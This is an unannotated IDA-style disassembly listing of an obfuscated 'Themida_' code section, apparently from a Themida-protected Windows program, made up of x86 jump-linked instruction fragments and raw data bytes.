Themida_:0054C3D4j jmp loc_541378 ; --------------------------------------------------------------------------- db 52h, 0E9h, 44h dd 5B00001Ah, 4B29E9h, 24048900h, 1CE95854h, 1000056h dd 56515DEEh, 97320B68h, 0EE815E68h, 0B20568Eh, 2342E9h db 0 ; --------------------------------------------------------------------------- loc_541A09: ; CODE XREF: Themida_:0054C971j xor edx, 8F573680h xor eax, edx pop edx xor eax, 664140B4h sub eax, 2F02E9EBh sub edx, eax mov eax, [esp] add esp, 4 xor ebp, edx pop edx mov ecx, ebp pop ebp xor eax, ecx jmp loc_5428B1 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 51E08950h, 1D3638B9h, 0CCC1810Fh, 1F0E2C9h, 0B5E9E9C8h dd 0E94E0000h, 45ADh, 0D7C1815Dh, 898F6AA0h, 0D30159CAh dd 0E924148Bh, 7CCh, 8324148Bh, 5CE904C4h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_541A6F: ; CODE XREF: Themida_:0054701Ej mov [esp], edx jmp loc_54BE87 ; --------------------------------------------------------------------------- loc_541A77: ; CODE XREF: Themida_:0054AB9Cj push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp shr eax, 0Bh xor ecx, eax jmp loc_54BBCD ; --------------------------------------------------------------------------- dw 0CD01h dd 3D75C581h, 0ED815391h, 76FE2F2Dh, 242C8759h, 39D9685Ch dd 14890000h, 22FEBA24h, 0E942732Fh, 281Bh ; --------------------------------------------------------------------------- loc_541ABC: ; CODE XREF: Themida_:005483C1j mov ecx, 0F764ED0h add eax, ecx pop ecx add eax, 1F95B3Ah add eax, 24313FC1h mov esi, [esp] push 3035h mov [esp], ebx mov ebx, esp jmp loc_5451EE ; --------------------------------------------------------------------------- dd 2474FF57h, 48F5F04h, 34FF5C24h, 0BA3AE924h, 8B660000h dd 1D68240Ch, 89000010h, 0E2892414h, 3323E9h, 48B6600h dd 0E1895124h, 0AE4AE9h, 3BF18100h, 52A56A4h, 116A2483h dd 531FE953h, 875E0000h, 685C243Ch, 4D2Fh, 54243C89h, 0A04E9h dd 242C8B00h, 8704C483h, 215C240Ch, 0E99C2404h, 0FFFFF830h dd 241C8B66h, 0E902C483h, 85F1h, 54240C89h, 0FC23E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541B5E: ; CODE XREF: Themida_:005425B8j push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54D383 ; --------------------------------------------------------------------------- dw 0F800h dd 992C5B66h, 9904D828h, 5366512Ch, 0D828B1B3h, 68665B66h dd 896660CAh, 67B22414h, 0D0288504h, 7035E9h, 58C22900h dd 570CB951h, 0B5E9663Bh db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_541BAF: ; CODE XREF: Themida_:0054758Cj pop ecx push edx mov edx, 0ED9723Ah sub edx, 30951AD0h neg edx add edx, 21F07AE1h xor edx, 5C53719Eh xor edx, 4F1C0939h sub ebx, edx pop edx xor ebp, ebx pop ebx add ebp, 8B040F0Ah and eax, ebp mov ebp, [esp] push eax jmp loc_541EDB ; --------------------------------------------------------------------------- db 56h dd 803FBFBEh, 1E24E943h db 2 dup(0) ; --------------------------------------------------------------------------- loc_541BF2: ; CODE XREF: Themida_:00546A14j mov edx, 50EE1B39h jmp loc_54C89D ; --------------------------------------------------------------------------- aAYSvi db '€êY(Óé¢I',0 align 2 loc_541C06: ; CODE XREF: Themida_:0054C49Cj add ebx, edi pop edi sub ebx, eax sub esp, 4 mov [esp], esi mov esi, 7FA36843h neg esi xor esi, 6A9D2E14h xor esi, 83D594C7h sub ebx, esi jmp loc_54533B ; --------------------------------------------------------------------------- aZwsma db 'ZWéma',0 align 2 dw 41E9h dd 80FFFFF7h, 0D9F607F1h, 0E9E8C180h, 0B10Bh, 0C181E189h dd 4, 2C181h, 0EC810000h, 4, 0E9240C89h, 832h, 242DB951h dd 0E9816F0Fh, 56521B16h, 47D3EA81h, 0CA017B58h, 0A4A9E9h dd 2C77FF00h, 0FFF6F7E9h, 4C481FFh, 56000000h, 4F4068h dd 240C8900h, 4B9h, 8BCE8900h, 0C483240Ch, 0FFF20104h dd 348B2434h, 4C48124h, 81000000h, 4C4h, 7277E900h, 0A8BF0000h dd 814C9859h, 36E4C7h, 1FE7813Bh, 814F3A57h, 680AE7EFh dd 0EF814764h, 8C6CB5A7h, 0F75FFE89h, 0AEC6E9DEh, 0EDD10000h dd 1BE9FD87h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_541CE7: ; CODE XREF: Themida_:00542D78j sub edx, 381E6314h push edx pop eax mov edx, [esp] add esp, 4 jmp loc_5452C1 ; --------------------------------------------------------------------------- dw 15Bh dd 6E95DE9h, 8100004Fh, 4EAh, 24148700h, 7BC2E9h db 0 ; --------------------------------------------------------------------------- loc_541D11: ; CODE XREF: Themida_:0054A19Cj sub eax, 0BD2F518Eh add edx, eax pop eax jmp loc_54854E ; --------------------------------------------------------------------------- aZ4Ser db '‡4$é¥R',0 align 2 loc_541D26: ; CODE XREF: Themida_:00548EFDj push ebp mov ebp, esp push ecx mov ecx, 2CE77837h push esi mov esi, 4C153C9h sub esi, 148E259Ah sub esi, 115A7AE4h dec esi xor esi, 0F887AEA2h and ecx, esi pop esi push ecx jmp loc_546B8D ; --------------------------------------------------------------------------- loc_541D51: ; CODE XREF: Themida_:00549E93j push ebx mov ebx, 2Ch add ebx, edi jmp loc_548B9E ; --------------------------------------------------------------------------- loc_541D5E: ; CODE XREF: Themida_:00545D9Bj mov ebx, 53211AA6h mov ebp, 75512BD1h xor ebp, ebx pop ebx neg ebp or ebp, 3E361C8Eh add ebp, 5E897136h sub ebp, 0D76A7896h add edx, 715A0081h jmp loc_544330 ; --------------------------------------------------------------------------- loc_541D8A: ; CODE XREF: Themida_:00547793j mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push ebx mov ebx, 4 sub eax, ebx pop ebx jmp loc_5428CB ; --------------------------------------------------------------------------- aRXqs? db 'R¶XQé-?',0 db 0 ; --------------------------------------------------------------------------- loc_541DB1: ; CODE XREF: Themida_:0054B192j xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 mov [esp], edx mov edx, 0FFFFFFFFh jmp loc_54A90B ; --------------------------------------------------------------------------- dw 0EE81h dd 5B09127Bh, 218AC681h, 0C68100FAh, 4353C59h, 6CCDC681h dd 0BAE96515h, 40000A6h, 58C300F1h, 66C0B60Fh, 661FEF68h dd 0E9240489h, 0FFFFF57Ch, 1B8505Ah, 1000000h, 0E98158C1h dd 50B62441h, 9A02F305h, 68C80133h, 45CCh, 0BF243C89h dd 339A02F3h, 595FF829h, 5004E883h, 42474FFh, 0E924048Bh dd 0FEAh, 8104C483h, 4C1h, 4E98300h, 9145E951h, 0E9810000h dd 674D6BACh, 0A9F9E9h, 6C685200h, 5A61E770h, 6EDC281h dd 0EA8144E7h, 7D62462Eh, 3DA5E281h, 0F0E947EBh, 5800003Dh dd 0A6AAE9h db 0 ; --------------------------------------------------------------------------- loc_541E75: ; CODE XREF: Themida_:0054B9E5j mov eax, 0D4291B17h jmp loc_5461FE ; --------------------------------------------------------------------------- loc_541E7F: ; CODE XREF: Themida_:0054C2CFj add ebx, 4 jmp loc_545D4A ; --------------------------------------------------------------------------- dw 3304h dd 0C8283C2Ch, 0AEE93C04h, 0BF000069h, 3B497E66h, 405FF821h dd 2069BF57h, 0E7814535h, 118A45FAh, 0D7F7D7F7h, 16C78147h dd 3160264Fh, 59505FF8h, 8124048Bh, 4C4h, 0FFC80100h, 94E92434h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_541ECF: ; CODE XREF: Themida_:0054A9C9j xchg edi, [esp] pop esp mov [esp], ebx jmp loc_54665C ; --------------------------------------------------------------------------- loc_541EDB: ; CODE XREF: Themida_:00541BE2j mov eax, esp jmp loc_54571F ; --------------------------------------------------------------------------- loc_541EE2: ; CODE XREF: Themida_:0054424Fj add edi, eax add edi, 315F03F6h mov eax, [esp] add esp, 4 jmp loc_54D13E ; --------------------------------------------------------------------------- dd 5E2434FFh, 3E54E9h, 0F472E900h, 0EC83FFFFh, 243C8904h dd 544BB850h, 58E94E80h, 57000063h, 0C519B5BFh, 0DEE7814Bh dd 8158B744h, 0F02088C7h, 8BF82917h, 0C483243Ch, 5C82904h dd 6075211Ch, 40360559h, 0DBE960C6h, 5200007Ah, 0CE80F5B6h dd 0D6C680A4h, 804AEE80h, 33E90CC7h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_541F57: ; CODE XREF: Themida_:0054805Ej push ebx jmp loc_5491F8 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h aSi_0 db '\é‰',1Bh,0 align 2 dw 3CB8h dd 116704Dh, 0E9042444h, 0B0A1h, 9AFBB53h, 9ABD4D42h, 1B50045h dd 0B8505BDDh, 1C05921h, 4558C509h, 0F581DDF7h, 19384576h dd 0E903E5C1h, 3E2Eh, 50241489h, 0F3D2E99Ch, 0F681FFFFh dd 435D3254h, 58F5EE81h, 0CE816C13h, 424C5B74h, 0FBF4EE81h dd 0F301D66Ch, 6702685Eh, 1C890000h, 2474FF24h, 48F5B04h dd 24248B24h, 9CC88566h, 0FFF39BE9h, 8C980FFh, 79E9D9F6h dd 5800008Ah, 16EAE9h db 0 ; --------------------------------------------------------------------------- loc_541FED: ; CODE XREF: Themida_:00542706j xor eax, edx xor edx, eax xor eax, edx jmp loc_54D105 ; --------------------------------------------------------------------------- dd 0E9241487h, 4404h, 26E9E389h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542007: ; CODE XREF: Themida_:0054C577j mov ebx, 370F6CBEh xor edx, ebx push dword ptr [esp] jmp loc_542E55 ; --------------------------------------------------------------------------- dw 0D889h dd 1DBD555Bh, 0F7646C03h, 51ED81D5h, 0E92BA415h, 9BDAh dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0B9240C89h, 2 dd 34FFCA01h, 54505924h, 40558h, 12E90000h, 290000A0h dd 2131E9CBh, 8DBF0000h, 5057C46Eh, 7408F3B8h, 97632D0Fh dd 0B6E9B600h db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542073: ; CODE XREF: Themida_:0054CD9Dj pop edx jmp loc_54596A ; --------------------------------------------------------------------------- db 1, 0EAh, 5Dh aPswe db 'PéwE',0 align 2 dw 0C31h dd 240C3324h, 0FFF3CEE9h, 50E6D1FFh, 9B119FB8h, 3BFEE913h dd 0C1810000h, 452F50BFh, 0E981C129h, 452F50BFh, 3A72E9h dd 4C78300h, 8B243C87h, 0A4E92424h, 8300003Eh, 3C3302C7h dd 243C3124h, 6671E9h, 70E95A00h, 5E000059h, 104C483h dd 0BA525EF0h, 24CE40F2h, 58BBE9h, 81E38900h, 4C3h, 4C38300h dd 0E9241C87h, 83C5h, 1118C181h, 0F9014B75h, 1118E981h dd 11E94B75h, 0F700003Fh, 29B951D5h, 0E9318E6Eh, 4E69h dd 5266C828h, 0D80444B6h, 0D0E9F028h, 0FF0000B1h, 48B2434h dd 79E95624h, 10000A3h, 0F8015DE8h, 286AE9h, 1E1EBA00h dd 0D33157FAh, 0CEB815Ah, 157927Ch, 0FF525BDAh, 0E9042474h dd 4EE6h, 1E99E951h, 57550000h, 0A70F76BFh, 0FFFD893Bh dd 0E95F2434h, 1398h ; --------------------------------------------------------------------------- loc_54216C: ; CODE XREF: Themida_:00547BD4j mov ebp, [esp] add esp, 4 push ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_54D36D ; --------------------------------------------------------------------------- dw 0EDE9h dd 83FFFFF1h, 4E902C2h, 55000065h, 8AF6E9h, 0DD895A00h dd 0ECF5815Bh, 813F990Ah, 200418EDh, 65D3E94Bh, 0E6000000h dd 0F8B55158h, 0C580C5FEh, 59EE2860h, 0D005E6C0h, 0C6B151E6h dd 0E1C0D9F6h, 0F6C1FE03h, 80C1FED1h, 0BEE9C8E9h, 6600006Fh dd 6824048Bh, 28C4h, 9B11E9h db 0 ; --------------------------------------------------------------------------- loc_5421E5: ; CODE XREF: Themida_:00544513j or ebp, 26D4590Ah neg ebp xor ebp, 4F590992h add ebp, 0A21E781Ch mov eax, ebp jmp loc_54181F ; --------------------------------------------------------------------------- dd 4C4815Eh, 0E9000000h, 7ECCh, 505156ADh, 0D2405B8h, 0E9C1896Bh dd 20E4h, 4989E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_542222: ; CODE XREF: Themida_:0054D632j shl ecx, 6 xor ecx, 3A997244h jmp loc_542A1C ; --------------------------------------------------------------------------- dd 5504C483h, 2BDh, 0E9EB0100h, 9209h ; --------------------------------------------------------------------------- loc_542240: ; CODE XREF: Themida_:005433EBj mov ebx, 24F86E52h shr ebx, 3 shr ebx, 6 or ebx, 5F177D07h xor ebx, 20AE1067h xor edx, ebx jmp loc_545E79 ; --------------------------------------------------------------------------- dw 0DFF7h dd 0BE56h, 0FE290000h, 0E95EF789h, 3C4h, 885AF088h, 24048BC7h dd 0E9E18951h, 2E26h, 7D57EA81h, 0EA815ECEh, 9665BBE4h dd 0E95AD189h, 753h, 88DA8852h, 285B5AD5h, 768EE9EBh, 0E95E0000h dd 5F9Dh, 81D830ACh, 2ECh, 1C896600h, 4EC8324h, 51240489h dd 48CB050h, 0F6FD0463h, 88BA04D0h, 0AB058C1h, 130CD8F6h dd 781CE9h, 68565500h, 4A5946CDh, 52F6815Eh, 81089235h dd 95675EEEh, 7EC8E955h, 2D680000h, 5F7B263Fh, 0C781D7F7h dd 7B263F30h, 9A4FE9h, 24F5BD00h, 0E5C13C9Ah, 0A4F58105h dd 0E993449Eh, 41BEh, 4C281h, 0C2810000h, 4, 0E9241487h dd 2618h, 55E9505Dh, 500005Dh, 46C8B04h, 8158C589h, 2A7684EFh dd 81EF0171h, 2A7684C7h, 2434FF71h, 4C4835Dh, 2474FF57h dd 48F5F04h, 24248B24h, 0A0068h, 24048900h, 0FFF013E9h dd 1EEBB8FFh, 61E98582h, 8B000067h, 54572404h, 1851E9h db 0 ; --------------------------------------------------------------------------- loc_542379: ; CODE XREF: Themida_:005489CBj add edi, 1 sub edi, 2FBA4A19h jmp loc_543149 ; --------------------------------------------------------------------------- dw 0E681h dd 0EBA4C5Ah, 90F6E9h db 0 ; --------------------------------------------------------------------------- loc_542395: ; CODE XREF: Themida_:00546487j push cx mov cl, 9Bh and dl, cl pop cx push ecx jmp loc_545D3E ; --------------------------------------------------------------------------- db 8Bh dd 54562404h, 4C6815Eh, 52000000h, 5547BD55h, 4BBA2AA7h dd 292AA755h, 0D6015DEAh, 0A022E95Ah, 0ADE90000h, 5BFFFFEFh dd 4246C01h, 2434FF5Dh, 0E789575Dh, 4C781h, 0CAE90000h dd 55FFFFFCh, 2434FF54h, 4C4815Dh, 50000000h, 5064E9h dd 52565900h, 0A2DFE9h, 28E78100h, 812F846Eh, 2D7F79EFh dd 0AE59E934h, 0EB010000h, 4E3C15Dh, 605CBE56h, 0F30126DDh dd 0FFFB015Eh, 2434FF33h, 9948E9h, 2E59BF00h, 0CF813D5Fh dd 7DB332FDh, 0C105EFC1h, 61E907EFh, 8100000Bh, 0E7258EC3h dd 41BF5747h, 95DB96Dh, 0EB815FFBh, 7DB9FFDDh, 835BDA01h dd 0B3E902C2h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54245F: ; CODE XREF: Themida_:0054BF37j push 65856BEDh pop ebp jmp loc_549517 ; --------------------------------------------------------------------------- dw 8957h dd 4C781E7h, 81000000h, 4C7h, 5A0EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54247E: ; CODE XREF: Themida_:00542D87j add esp, 4 jmp loc_54C989 ; --------------------------------------------------------------------------- aFhkqs db 'fhŠQé°',27h,0 align 2 dw 74FFh dd 8F590424h, 7AE92404h, 5700006Ah, 0C781E789h, 4, 4C781h dd 3C870000h, 0AFE95C24h, 5B000007h, 8858E688h, 24148BF1h dd 8004C483h, 0F90012E9h, 8B12C180h, 0C483241Ch, 59C80004h dd 0B60FC330h, 8734FFC0h, 582434FFh, 83E78957h, 148904ECh dd 9265E924h, 0C1810000h, 2EE7184Fh, 5208E9C1h, 92D2E9h dd 26E95100h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542503: ; CODE XREF: Themida_:00545BCAj add esp, 4 pop dword ptr [esp] pop esp idiv cx push 5AC2h mov [esp], edx push esp pop edx push ecx mov ecx, esp jmp loc_5468FA ; --------------------------------------------------------------------------- db 81h dd 42404h, 0B3E90000h, 50000071h, 96E9E089h, 510000A2h dd 81D3E9h, 243C8B00h, 5204C483h, 0F74032BAh, 0E9DAF72Ah dd 5A7h, 3C8BF901h, 0E3895324h, 70A3E9h, 2CC18100h, 5E251205h dd 5659CE01h, 0A1C7E9h db 0 ; --------------------------------------------------------------------------- loc_542569: ; CODE XREF: Themida_:005491FDj xor edx, ebx pop ebx mov ecx, edx push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp rep movsd add esp, [edx+38h] push 62D5h jmp loc_54D3F8 ; --------------------------------------------------------------------------- dd 4240483h, 50242C8Bh, 42E95854h, 810000A6h, 0EE026BF2h dd 9E11E927h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5425AE: ; CODE XREF: Themida_:0054A180j mov [esp], esp add dword ptr [esp], 4 jmp loc_541B5E ; --------------------------------------------------------------------------- db 80h, 0EFh, 0ABh dd 535BFD88h, 0DA88EB88h, 0F1B1595Bh, 285AD128h, 240C8BC8h dd 4C481h, 0D8280000h, 0AAB35366h, 5B66D800h, 0E904EC83h dd 78DDh, 240C8B66h, 1E0868h, 24348900h, 0C681E689h, 4 dd 7715E9h db 0 ; --------------------------------------------------------------------------- loc_542605: ; CODE XREF: Themida_:00544585j jmp loc_541378 ; --------------------------------------------------------------------------- dw 895Ch dd 2C81240Ch, 0D091F24h, 24148B59h, 7239E9h db 0 ; --------------------------------------------------------------------------- loc_54261D: ; CODE XREF: Themida_:00548B99j add ebp, 4 jmp loc_544A09 ; --------------------------------------------------------------------------- dd 7BCA815Bh, 0E90DAF40h, 7F0Fh, 1F17B951h, 81411366h dd 2E00D6F1h, 0E9CF2147h, 8F1Eh, 476AE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54264E: ; CODE XREF: Themida_:005464CDj sub edi, ecx pop ecx xor edi, offset dword_4A42CC and edi, 7AC24126h sub edi, 6E937154h inc edi add edi, 64937151h sub edx, edi pop edi jmp loc_54C4E7 ; --------------------------------------------------------------------------- loc_542672: ; CODE XREF: Themida_:005417F7j mov ebx, 533F79F9h jmp loc_54420C ; --------------------------------------------------------------------------- dd 4240483h, 83242C8Bh, 0C58104C4h, 4, 5B1468h, 8888E900h dd 0F7810000h, 5FC27959h, 2D3C781h, 0FD89D761h, 60BDE9h dd 243C8B00h, 704CE9h, 4E5C100h, 1088E9h, 0BA525700h, 48A36805h dd 81E2D14Ah, 0FC52DCCAh, 43E2810Eh, 816FB60Dh, 0D5519DF2h dd 5AD7895Dh, 1C781h, 0C7810000h, 581B4DA2h, 7F27BD55h dd 0CD8117F4h, 5AA23A3Fh, 7F4FED81h, 39E93C71h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5426FB: ; CODE XREF: Themida_:00543B2Bj push edi mov edx, [esp] add esp, 4 pop edi jmp loc_541FED ; --------------------------------------------------------------------------- db 66h dd 6866E1F7h, 89663C81h, 50662414h, 0EC5AE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54271E: ; CODE XREF: Themida_:00543153j add eax, edi add eax, 6DD72D0Ch add eax, 49DB20D1h pop edi add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp and ecx, esi pop esi jmp loc_54D84A ; --------------------------------------------------------------------------- loc_542740: ; CODE XREF: Themida_:00543BC5j mov esi, [esp] add esp, 4 pop eax retn ; --------------------------------------------------------------------------- dd 0FFEC2BE9h, 24048FFFh, 7EB0E9h, 50C98100h, 814CE61Fh dd 0F23F68C1h, 9056E945h, 0B80000h, 1000000h, 1911E9C8h dd 9BBE0000h, 0C100D30Ch, 0EEC107EEh, 0D8A6808h, 4890000h dd 3064B824h, 0BB53749Ah, 70B960CFh, 0CB81D3F7h, 0D2417B5h dd 2DEEE9h, 0E9EF8900h, 558Dh, 42474FFh, 27E2E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5427AE: ; CODE XREF: Themida_:00547051j pop ebp add ebp, 6A9A0A1Fh neg ebp push edi jmp loc_546648 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0FF545524h, 525D2434h, 55B5E9h, 81CA0100h, 936D58EAh dd 28E95936h, 53FFFFF5h, 0F75A5B52h, 0C1D387D2h, 0D3F708E3h dd 0FFD1EB81h, 0DE21BC10h, 69E6815Bh, 5168F14Fh, 0F50BD5B9h dd 0F7D1F73Bh, 1E981D9h, 0E9000000h, 89A3h, 0BCE9DEF6h dd 0FF0000A5h, 58042474h, 1443E9h, 4B900h, 0F7E90000h dd 83000085h, 28E904ECh, 5A000040h, 19BEE9h, 36A06800h dd 1C8B3BA7h, 8D79E924h, 0CFFE0000h, 53B9E9h, 0E9C6FE00h dd 7414h, 6605E3C0h, 87BB652h, 148B66F3h, 2C48124h, 50000000h dd 4055854h, 2D000000h, 4, 5C240487h, 50240C89h, 0E5883AB4h dd 8BEB2858h, 0C483240Ch, 92F38004h, 514DEB80h, 0D1F629B1h dd 0FFF3A2E9h, 0D9E958FFh, 0C1000022h, 0E78103E7h, 6970533Dh dd 0E903E7C1h, 0AD64h ; --------------------------------------------------------------------------- loc_5428AC: ; CODE XREF: Themida_:0054559Ej jmp loc_541378 ; --------------------------------------------------------------------------- loc_5428B1: ; CODE XREF: Themida_:00541A2Cj mov ecx, [esp] jmp loc_54CF7F ; --------------------------------------------------------------------------- db 68h, 5Fh, 6Bh dd 34890000h, 1633BE24h, 20E9521Ch db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5428CB: ; CODE XREF: Themida_:00541DA3j xchg eax, [esp] mov esp, [esp] mov [esp], ebx jmp loc_546368 ; --------------------------------------------------------------------------- loc_5428D9: ; CODE XREF: Themida_:00546F93j push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push edi push ecx push 5CA9250Eh pop ecx mov edi, 0A356DAF6h jmp loc_543420 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 24048F54h, 8173E9h, 0E953AC00h, 36B6h, 3358C501h dd 2C31242Ch, 242C3324h, 0E089505Ch, 405h, 42D00h, 0D2E90000h dd 0AD00008Ah, 33D968h, 24348900h, 9C6BF068h, 2434FF5Bh dd 0FFF78AE9h, 245429FFh, 2434FF04h, 0A73FE95Ah, 8B660000h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_5431C3 ; --------------------------------------------------------------------------- loc_54295F: ; CODE XREF: Themida_:005495B3j push dword ptr [edi+eax*4] push 4320h mov [esp], eax jmp loc_54C2FE ; --------------------------------------------------------------------------- db 89h dd 0CEE95EF2h, 5800006Ch, 0FE51F380h, 3E4D68CBh, 0C890000h dd 30C3B524h, 907DE9EBh, 0C3800000h, 0C0B60FF2h, 6887048Dh dd 182Ah, 0E9240489h, 0FFFFE9D4h, 0B6241489h, 8BF5886Dh dd 0C4812414h, 4, 0E7E9E800h, 0E90000A3h, 0FFFFE9B8h, 0B470B652h dd 5AF42899h, 8870EC80h, 0C78058E7h, 0E9FE0800h, 2B07h dd 5001EF80h, 8839B753h, 3BE95BFCh, 68000022h, 4D18h, 0E9240C89h dd 7441h, 0F6F6EE80h, 0CDEE80DEh, 345AF028h, 0E9C188F6h dd 26AFh ; --------------------------------------------------------------------------- loc_542A08: ; CODE XREF: Themida_:005469D8j mov esi, 55261E7Fh xor esi, 43752736h mov eax, esi pop esi push esi jmp loc_549F0A ; --------------------------------------------------------------------------- loc_542A1C: ; CODE XREF: Themida_:0054222Bj mov edi, ecx pop ecx mov edx, edi pop edi sub edi, 701A6C33h jmp loc_5458A6 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 87000000h, 665C2434h, 9C240CFFh, 0FFE937E9h, 24048BFFh dd 2517E955h, 0DE680000h, 8900005Eh, 21E92414h, 20FFFFE9h dd 0E99C2404h, 0FFFFE918h, 0E940478Fh, 0FFFFE910h ; --------------------------------------------------------------------------- loc_542A68: ; CODE XREF: Themida_:00548881j add esp, 4 push 4B90h mov [esp], eax push esi jmp loc_549FFD ; --------------------------------------------------------------------------- aJcqjXs4 db 'ºJCŸj)ÂXé',9,'4',0 dd 16B95100h, 817BB14Eh, 98DAA3E9h, 59C80151h, 6905E9h dd 0D0895A00h, 8324148Bh, 348B04C4h, 49D5E924h, 0C6810000h dd 4, 4C681h, 34870000h, 0EB805C24h db 2Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 2 jmp loc_54CC53 ; --------------------------------------------------------------------------- db 2Ch, 0E1h, 28h dd 59E104C8h, 3E67E952h, 0E9810000h, 753477h, 8759CA01h dd 0CE92414h, 81000041h, 8BFCAEAh, 5AD701D5h, 3304C783h dd 3C31243Ch, 243C3324h, 2434FF5Ch, 0FFF85EE9h, 4C481FFh dd 52000000h, 7AF6E9h, 58C23100h, 7ED0EA81h, 0D389AEC3h dd 0FFF66CE9h, 0BBE981FFh, 109535Fh, 0BBC181C1h, 8B09535Fh dd 82E92404h, 89000091h, 4C681E6h, 81000000h, 4EEh, 24348700h dd 243C895Ch, 59BDBB53h, 47BF4CA7h, 81B358A6h, 0DC135EEFh dd 81DF010Fh, 0DC135EC7h, 0E5E95B0Fh, 6600001Ch, 56240C8Bh dd 5351E689h, 517366BBh, 9F68554Eh, 0E953F636h, 3EB5h dd 506E0C1h, 37CFAA75h, 0DAE9C201h, 89000044h, 6866241Ch dd 9DE9545Dh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542BAB: ; CODE XREF: Themida_:0054D706j add [esp+4], ecx pop ecx jmp loc_549698 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0DFh dd 0E91D1568h, 8387h ; --------------------------------------------------------------------------- loc_542BC0: ; CODE XREF: Themida_:0054B9BAj pop edx jmp loc_545BC2 ; --------------------------------------------------------------------------- loc_542BC6: ; CODE XREF: Themida_:00546FC6j xor edx, [esp] jmp loc_54585E ; --------------------------------------------------------------------------- loc_542BCE: ; CODE XREF: Themida_:00545F0Ej add edx, 4 push eax sub esp, 4 mov [esp], ebx mov ebx, 4 mov eax, ebx pop ebx add edx, eax jmp loc_5451BB ; --------------------------------------------------------------------------- aMfq?sux db '¬fQµ?éU•',0 align 4 dd 0F680C5B6h, 0FC0EE95Fh, 875FFFFFh, 0E95C2414h, 95C8h dd 468h, 0B9515900h, 205F328Bh, 641BE9h db 0 ; --------------------------------------------------------------------------- loc_542C19: ; CODE XREF: Themida_:00547062j sub edx, ecx jmp loc_548EF4 ; --------------------------------------------------------------------------- loc_542C20: ; CODE XREF: Themida_:00543847j mov eax, esp add eax, 4 jmp loc_542D41 ; --------------------------------------------------------------------------- loc_542C2C: ; CODE XREF: Themida_:00541842j mov esp, [esp] jmp loc_544F83 ; --------------------------------------------------------------------------- aBuPfkss db 'îÇP”KSé»/',0 align 10h dd 8B24048Fh, 0ED812424h, 3161298Ch, 30C5F581h, 0CD811BA5h dd 1CB05009h, 30D1C581h, 0E8218100h, 52FFE95Dh, 4F090000h dd 0C568591Ch, 8900003Bh, 29E9241Ch db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542C77: ; CODE XREF: Themida_:0054B9EDj push esi xchg esi, [esp] inc esi xchg esi, [esp] pop esi or esi, 6BE65E28h jmp loc_54999D ; --------------------------------------------------------------------------- db 58h dd 685BD829h, 643h, 4675E9h db 0 ; --------------------------------------------------------------------------- loc_542C99: ; CODE XREF: Themida_:0054BAF8j mov ecx, [esp] add esp, 4 xor edi, 28104881h jmp loc_5432B7 ; --------------------------------------------------------------------------- db 81h, 0F2h, 5 dd 11E5163h, 24148BD3h, 0FFEA0BE9h, 24248BFFh, 24040966h dd 0E6AEE99Ch, 5455FFFFh, 83242C8Bh, 0EC8104C4h, 4, 0B8240489h dd 5AE9597Dh, 0D826920Dh, 7FFB3552h, 38E95AF9h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542CEF: ; CODE XREF: Themida_:005452E4j add ebx, eax sub ebx, 6D23488Ch mov eax, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_54B854 ; --------------------------------------------------------------------------- dd 781CF181h, 0BE563F4Fh, 5D1D22A7h, 0F75EF129h, 15EAE9D1h dd 4BE0000h, 1000000h, 0B8505EF1h, 4, 0E958C101h, 0EA1h dd 8904EC83h, 51502404h, 2EA8E9h db 0 ; --------------------------------------------------------------------------- loc_542D41: ; CODE XREF: Themida_:00542C27j add eax, 4 xchg eax, [esp] pop esp shr ecx, 0Ah sub esp, 4 mov [esp], ecx push 5A70h mov [esp], ebx mov ecx, [esp] add esp, 4 push 6989h mov [esp], edx push ecx add dword ptr [esp], 381E6314h pop edx jmp loc_541CE7 ; --------------------------------------------------------------------------- loc_542D7D: ; CODE XREF: Themida_:0054902Fj push eax push ecx push 2FDD67C4h mov ecx, [esp] jmp loc_54247E ; --------------------------------------------------------------------------- dd 2869EF80h, 5A665BF8h, 4EC81h, 18E90000h, 0FE00003Ah dd 0CAF580C5h, 0E828F82Ch, 24B8E9h db 0 ; --------------------------------------------------------------------------- loc_542DAD: ; CODE XREF: Themida_:005476ACj mov ecx, esp add ecx, 4 sub ecx, 4 